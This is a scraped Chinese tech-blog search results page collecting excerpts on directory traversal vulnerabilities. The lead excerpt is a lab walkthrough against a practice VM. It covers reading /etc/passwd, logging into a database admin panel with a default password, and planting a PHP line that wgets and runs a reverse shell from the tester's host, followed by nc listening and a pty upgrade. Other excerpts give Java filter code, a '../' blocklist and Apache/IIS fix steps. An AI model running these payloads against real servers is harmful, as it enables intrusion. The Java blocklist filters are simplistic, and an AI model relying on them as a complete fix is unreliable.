精华内容
下载资源
问答
  • 目录遍历漏洞

    千次阅读 2021-01-04 20:42:37
    在开始之前,先介绍一下目录遍历漏洞的原理 目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符...

    在开始之前,先介绍一下目录遍历漏洞的原理
    目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是…/,也可是…/的ASCII编码或者是unicode编码等。

    靶机

    链接:https://pan.baidu.com/s/1rkcs2rhBPch3Q5beSZJ4Rg
    提取码:20td

    漏洞复现过程

    1. 使用netdiscover发现存活主机
    netdiscover -i eth0
    

    在这里插入图片描述

    1. 使用nmap进行服务探测
    nmap -sV 172.20.10.9
    

    在这里插入图片描述

    1. 使用nmap时并没有发现有明显的可利用漏洞,因此使用OWSAP_ZAP进行web漏洞扫描
    • 使用OWSAP_ZAP时发现目标网站存在目录遍历漏洞
    • 访问目标的URL地址,得到以下信息
      在这里插入图片描述
      在这里插入图片描述
    • 不难发现,页面返回的是/etc/passwd的秘密文件信息
    1. 使用dirb进行目录挖掘
    dirb http://172.20.10.9
    
    • 发现了dbadmin后台数据库,尝试使用admin密码登录成功
    • 若在实战中尝试失败,可以利用sql-post注入等使用sqlmap进行密码爆破
      在这里插入图片描述
      在这里插入图片描述
    1. 进入数据库后,点击创建一个shell.php数据库
      在这里插入图片描述
      在这里插入图片描述
    2. 生成一个php的shellcode代码,用于反弹网站的webshell
    cd /usr/share/webshells/php
    cp php-reverse-shell.php /root/Desktop/shell.php
    
    • 编辑shellcode.php文件,IP地址设置为本机ip,端口为自己想要侦听的端口
      在这里插入图片描述
    1. 完善数据库信息,在Default Value值出填入以下代码用于执行shellcode
      在这里插入图片描述
    • 要在Default Value填入的字段
    <?php system("cd /tmp;wget http://172.20.10.7:8000/shellcode.php;chmod +x shell.php;php shell.php);"?>
    
    1. 使用python快速搭建一个http的web服务,默认开启的是8000端口
    python -m "SimpleHTTPServer"
    
    1. 使用nc命令监听4444端口
    nc -nlvp 4444
    
    1. 将最后的etc%2Fpasswd字段值替换为/usr/databases/shell.php即可反弹webshell
      在这里插入图片描述
    • 反弹成功
      在这里插入图片描述
    1. 使用python命令优化终端
    python -m "import pty; pty.spawn('/bin/bash')"
    
    • 成功获取www-data用户权限
      在这里插入图片描述
    展开全文
  • Java路径遍历漏洞修复心得

    千次阅读 2021-02-01 17:54:46
    本文以JAVA 语言源代码为例,分析路径遍历缺陷及该缺陷产生的原因及修复方法。 二、缺陷代码 172行因为localFile因为接收参数后未对参数做合理校验,可能会收到../file.text,假定文件路径有效,则可能导致读取...

    一、路径遍历

    路径遍历是指应用程序接收了未经合理校验的用户参数用于进行与文件读取查看相关操作,而该参数包含了特殊的字符(例如“..”和“/”),使用了这类特殊字符可以摆脱受保护的限制,越权访问一些受保护的文件、目录或者覆盖敏感数据。本文以JAVA 语言源代码为例,分析路径遍历缺陷及该缺陷产生的原因及修复方法。

    二、缺陷代码

    172行因为localFile因为接收参数后未对参数做合理校验,可能会收到../file.text,假定文件路径有效,则可能导致读取了 uploads 父目录下的 file.text 文件。

    三、代码修复

    我使用了2种方法可以来解决路径遍历问题,一是全局过滤,二是单个字符串过滤

    全局过滤代码如下:

    private String fileNameValidate(String str) {
    		
    		String fileNameListStr ="../|./|/..";  //这里为请求体中不能携带的关键字
    
    		if(null!=fileNameListStr && !"".equals(fileNameListStr))
    		{
    			str = str.toLowerCase();// 统一转为小写
    
    			log.info("sqlFilter===========================>>路径遍历过滤规则:"+ fileNameListStr);
    
    			String[] badStrs = fileNameListStr.split("\\|");
    			for (int i = 0; i < badStrs.length; i++) {
    				if (str.indexOf(badStrs[i]) >= 0) {
    					return badStrs[i];
    				}
    			}
    		}
    		return null;
    	}

    我配置的过滤器

    public class FlieNameFilter implements Filter{
    	
    	private static final Logger log = LoggerFactory.getLogger(FlieNameFilter.class);
    	private ResourceBundle bundle;
    
    	@Override
    	public void destroy() {
    		bundle = null;
    	}
    
    	@Override
    	public void doFilter(ServletRequest request, ServletResponse response,
    			FilterChain chain) throws IOException, ServletException {
    
    		HttpServletRequest req = (HttpServletRequest) request;
    		HttpServletResponse res = (HttpServletResponse) response;
    
    		// 获得所有请求参数名
    		Enumeration<String> params = req.getParameterNames();
    		StringBuffer content = new StringBuffer("");
    		while (params.hasMoreElements()) {
    			// 得到参数名
    			String name = params.nextElement().toString();
    
    			String value = req.getParameter(name);
    			
    			content.append(value);
    		}
    
    		String sqlInjectListStr = bundle.getString("fileNameListStr");
    		
    		String message = fileNameValidate(content.toString(), sqlInjectListStr);
    
    		if (message != null) {
    			req.getSession().setAttribute("overpowerMessage", message);
    			log.error("sqlFilter============================>>error!! find fileName inject.");
    			log.error("sqlFilter============================>>传入的参数字符串:"+ content.toString());
    			res.sendRedirect(req.getContextPath() + "/overpower.jsp");
    		} else {
    			chain.doFilter(request, response);
    		}
    	}
    
    	private String fileNameValidate(String str, String sqlInjectListStr) {
    		
    
    		if(null!=sqlInjectListStr && !"".equals(sqlInjectListStr))
    		{
    			str = str.toLowerCase();// 统一转为小写
    
    			log.info("sqlFilter===========================>>路径遍历过滤规则:"+ sqlInjectListStr);
    
    			String[] badStrs = sqlInjectListStr.split("\\|");
    			for (int i = 0; i < badStrs.length; i++) {
    				if (str.indexOf(badStrs[i]) >= 0) {
    					return badStrs[i];
    				}
    			}
    		}
    		return null;
    	}
    
    	@Override
    	public void init(FilterConfig filterConfig) throws ServletException {
    		try {
    			bundle = new PropertyResourceBundle(this.getClass().getClassLoader().getResourceAsStream("parameters.properties"));
    		} catch (IOException e) {
    			log.error("parameters.properties配置文件夹在失败");
    		}
    	}
    	
    	
    }

    我的匹配规则是写在配置文件中,所以先读取配置文件来获取匹配规则。如果请求体中有../这样的危险字符串,就会拦截返回异常页面。这样写也是有缺陷的,就是你在填写文档或日志描述时不能填写../等匹配规则的危险字符串。

    第二种是单体字符串过滤:

    public class FlieNamefilter {
    
    	//private static Pattern FilePattern = Pattern.compile("[\\\\/:*?\"<>|]"); 
    	
    	private static Pattern FilePattern = Pattern.compile("[\\s\\.:?<>|]"); //过滤规则
    	
    	public static String filenameFilter(String str) {  
    		return str==null?null:FilePattern.matcher(str).replaceAll("");  
    	}
    	
    	public static void main(String[] args) {
    		String str="home/..  <>|logs/../:edata?";
    		//String filenameFilter = filenameFilter(str);
            String filenameFilter = fileNameValidate(str);
    		System.out.println(filenameFilter);
    	}
    	
    }
    
    
     private static String fileNameValidate(String str) {
    		
    	   String strInjectListStr ="../|./|/..| |<|>|:|?";
    		if(null!=strInjectListStr && !"".equals(strInjectListStr))
    		{
    			str = str.toLowerCase();
    			String[] badStrs = strInjectListStr.split("\\|");
    			for (int i = 0; i < badStrs.length; i++) {
    				if (str.indexOf(badStrs[i]) >= 0) {
    				 str= str.replace(badStrs[i], "");
    				}
    			}
    		}
    		return str;
    	}

    在单个字符串过滤的情况下,如果路径遍历漏洞很多,那就需要改很多地方了。

    四、代码安全卫士测试

    有些小伙伴可能写了这些代码发布到安全测试上去,发现自己的路径遍历漏洞还存在,那么我也是碰到这样的坑了。需要联系你们测试代码工具的人去聊这个问题。其实路径遍历的问题已经解决了比如:

    找官方人员说 引擎不知道咱们上面写的代码是用来做路径遍历过滤的,所以要告诉引擎。方法是把处理逻辑封装成一个方法,然后再系统管理-函数白名单中配置,然后发起检测的时候,选在这个白名单函数。
    或者直接审计为不是问题,如果选择了审计携带,下次检测后会审计为不是问题。说白了就是漏洞已经修复了,但是他没有检测到你修改的代码。

    好了,以上就是我碰到的问题,有喜欢的点个赞,关注一下作者!

    展开全文
  • Apache目录遍历漏洞

    2020-10-21 12:27:05
    实验环境: win2003+phpstudy2014 1.目录遍历目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一-种安全漏洞,使得攻击者通过利用...2 漏洞修复: ` Options -Index

    实验环境:
    win2003+phpstudy2014

    1.目录遍历:
    目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一-种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以使web根目录以外的文件),甚至执行系统命令。程序在实现.上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

    1 漏洞复现

    在这里插入图片描述在这里插入图片描述

    漏洞原理:


    在这里插入图片描述



    2 漏洞修复:

    在这里插入图片描述在这里插入图片描述`

    Options -Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
    
    展开全文
  • 目录遍历漏洞讲解(IIS、Apache)

    千次阅读 2019-10-20 15:08:23
    目录遍历是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意文件,甚至执行系统命令。 IIS IIS目录...

    目录遍历是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意文件,甚至执行系统命令。

    IIS

    IIS目录遍历

    1. IIS目录遍历又称IIS目录穿越。
    2. 由于没有使用或部署良好设计的输入漏洞措施,攻击者可以利用这些漏洞来读取或改写原本不能正常读取访问的目录或文件。
    3. 在一些特别的情况,攻击者甚至可能执行任意代码或者系统命令。

    漏洞原理

    1. “目录遍历”其实不能算漏洞,是IIS的一个功能,在IIS中勾选该选项,用户就可以通过目录的形式访问网站中的文件,通常这项功能被用于共享文件。但由于管理员的疏忽或经验不足,在网站中开启了这项功能,这就造成了IIS目录遍历漏洞。
    2. 客户端输入特定URL就可以查看到目录下的文件信息。

    漏洞危害

    1. 利用漏洞,攻击者能走出服务器的根目录,从而访问到文件系统的其他部分
    2. 更危险的,攻击者能够执行一些造成整个系统崩溃的指令
    3. 依赖于web站点的访问设置,攻击者能够仿冒成站点的其他用户来执行操作
    4. 攻击者可以直接访问想要的敏感数据,包括配置文件、日志、源代码等
    5. 配合其他漏洞的综合利用,攻击者可以轻易获取更高的权限

    漏洞防御

    1. 系统开发阶段应充分考虑系统的安全性,需对用户提交的内容进行严格的过滤
    2. 运维人员需有强烈的安全意识,如果不需要可执行的CGI,可以删除目录或直接关闭目录浏览
    3. 对专业的安全设备来说通过检测特定语法下的目录跳转符,字符阶段符以及与查看目录相关的命令即可识别各种目录遍历攻击

    Apache

    Apache目录遍历

    1. Apache目录遍历漏洞是Apache的一种常见的攻击方式,它可以让攻击者访问受限制的目录
    2. Apache目录遍历漏洞可能存在于web服务器软件本身,可能存在于web程序中
    3. 执行一个Apache目录遍历漏洞,攻击者所需要的只是一个web浏览器,通过修改浏览器URL的参数从而可以获取到web根目录以外的内容

    漏洞原理

    1. 当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

    漏洞危害

    1. 攻击者可以通过Apache目录遍历漏洞,知道网站整体结构,管理员后台,数据库配置文件,PHPinfo等信息,为进一步深入攻击做信息收集
    2. 攻击者能够在web应用程序所在的根目录以外的文件夹上,任意地存取被限制的文件夹、执行命令或查找数据,从而访问到文件系统的其他部分

    漏洞防御

    1. 不同的web服务器禁止目录浏览的方式有所不同,对弈Apache目录遍历来说,管理员需要修改配置文件禁止浏览列出目录和文件列表,如可通过修改conf目录下的http.conf文件来禁止使用目录索引
    225行:Options +Indexes +FollowSymLinks +ExecC
    改为:Options -Indexes +FollowSymLinks +ExecC
    
    1. 站点安全设置,防止攻击者能够仿冒成站点其他用户来执行操作;确保web站点对用户的安全分级授权方式越级和跨出合法区域的访问
    2. 目录遍历漏洞虽然是一种非常古老的漏洞,但在目前仍在很多系统中被发现。对系统运维人员来说合理配置web服务器并主动查找该漏洞,同时配合专业的安全设备进行防御可以大大提高服务器的安全性
    展开全文
  • 用友NC目录遍历漏洞

    千次阅读 2021-04-26 09:41:57
    用友NC目录遍历漏洞0X001前言0X002 漏洞影响0X003 漏洞原理0X004 漏洞复现0X041 空间搜索寻找目标0X005 POC0X006 修复建议 0X001前言 0X002 漏洞影响 0X003 漏洞原理 0X004 漏洞复现 0X041 空间搜索寻找目标 搜索...
  • tomcat目录遍历漏洞的防范

    千次阅读 2019-09-30 13:04:47
    如果apache/apache tomcat配置文件没有处理好,会给站点带来相当大的隐患,目录遍历漏洞,会将站点的所有目录暴露在访问者眼前,有经验的开发者或hacker们可以从 这些目录得知当前站点的信息,如开发语言、服务器...
  • 什么是目录遍历漏洞 目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的...
  • java 路径遍历 漏洞修复

    千次阅读 2018-09-14 16:44:45
    private static Pattern FilePattern = Pattern.compile("... * 路径遍历 漏洞修复 * @param str * @return */ public static String filenameFilter(String str) { return str=...
  • 目录浏览漏洞属于目录遍历漏洞的一种,目录浏览漏洞是由于网站存在配置缺陷,存在目录可浏览漏洞,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以更容易得到网站权限,...
  • 如何解决 Apache Tomcat 目录遍历漏洞

    万次阅读 2016-07-11 10:23:00
    APACHE 的  Options Indexes MultiViews ← 找到这一行... Options MultiViews ← 变为此状态(不在浏览器上显示树状目录结构) AllowOverride None Order allow,deny Allow from all TOMCAT修改conf/web.xml文件
  • 漏洞修复——Apache/IIS目录遍历

    千次阅读 2018-03-28 21:57:00
    一、Apache目录遍历漏洞修复  1、在服务器端,打开Apache配置文件C:\Program Files\phpStudy\Apache\conf\httpd.conf  2、在httpd.conf文件中找到 Options +Indexes +FollowSymLinks +ExecCGI 并修改成 ...
  • 漏洞之目录遍历漏洞

    千次阅读 2020-01-10 16:36:30
    目录遍历漏洞 目录遍历, 也叫路径遍历,由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件 ...
  • javaWeb安全验证漏洞修复总结j,涉及到1.会话未更新。2.SQL注入,盲注。3已解密请求。4.跨站点请求伪造。5不充分账户封锁 等近10来个的问题解决心得
  • Django的目录遍历漏洞

    2021-11-16 10:41:23
    Django的目录遍历漏洞 框架解析: Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使...
  • 解析漏洞格式:/test.jpg/test.php服务器接收到此参数时,由于php.ini文件设置问题和nginx特性会按照php文件进行且不检查文件是否存在就进行解析。...漏洞修复 总结: 当Nginx接受到url的后缀为.php文
  • 1.复现: 1.1直接通过浏览器访问以下地址 ... ...就可以任意查看服务器目录 ...修复后响应 过滤后,目前没发现影响正常的报表打印,如果影响,可以把过滤参数的内容进行调整。    
  • 目录浏览漏洞修复建议

    千次阅读 2017-11-12 22:23:00
    目录浏览漏洞主要是由于配置不当,当访问到某一目录中没有索引文件时(或是手工开启了目录浏览功能)即把当前目录中的所有文件及相关下层目录一一在页面中显示出来,通过该漏洞攻击者可获得服务器上的文件目录结构,...
  • 文章目录Apache Flink 任意文件上传漏洞 (CVE-2020-17518)0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现0x05 反弹shellApache Flink 任意文件读取漏洞 (CVE-2020-17519)0x00 漏洞描述0x01 ...
  • 漏洞扫描过程中发现静态资源存在目录遍历的问题。 3.问题分析 (1)该问题属于配置范畴,通过静态资源的上一级目录可以获取所有的资源。 (2)查看Weblogic部署项目的配置文件。 4.解决方案 找到部署应用的...
  • 1. 什么是目录遍历漏洞目录遍历漏洞”的英文名称是Directory Traversal 或 Path Traversal。指攻击者通过在URL或参数中构造 ../ ..%2F /%c0%ae%c0%ae/ %2e%2e%2f 或类似的跨父目录字符串,完成目录跳转,...
  • 0x00 环境准备 711CMS官网: https://www.711cms.com/ 网站源码版本:711CMS 1.0.5 正式版(发布时间:2018-01-20) 程序源码下载:... 测试网站首页: ...1、漏洞文件位置:/admin/control...
  • Zip文件目录遍历漏洞 - ZipEntry.getName方法 一、API 1. 继承关系 【1】java.lang.Object 【2】java.util.zip.ZipEntry 2. 主要方法 【1】getName() 返回String(entry的名字) 【2】isDirectory() ...
  • 目录穿越/遍历漏洞

    千次阅读 2021-01-26 17:42:55
    目录遍历(目录穿越)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。 在某些情况下,攻击者可能能够...
  • 目录遍历漏洞和任意文件下载漏洞

    千次阅读 2019-06-23 14:17:14
    目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。 ...
  • 4.目录遍历漏洞修复 (1)IIS中间件 (2)Apache中间件 (3)Nginx中间件 (4)Tomcat中间件 (5)Weblogic中间件 1.前言 前几天在对目标网站进行安全性测试时,发现了目录浏览漏洞。目录遍历(浏览)也是很...
  • Content Provider文件目录遍历漏洞

    千次阅读 2016-11-17 21:48:57
    一、文件目录遍历安全漏洞描述Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content ...
  • 报告编号:B6-2021-010601 报告来源:360CERT 报告作者:360CERT 更新日期:2021-01-06 ...远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。 对此,360CERT建议广大用户及时将Apache .
  • nginx解析漏洞,配置不当,目录遍历漏洞复现 nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre3 libpcre3-dev sudo ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,210
精华内容 1,284
关键字:

目录遍历漏洞修复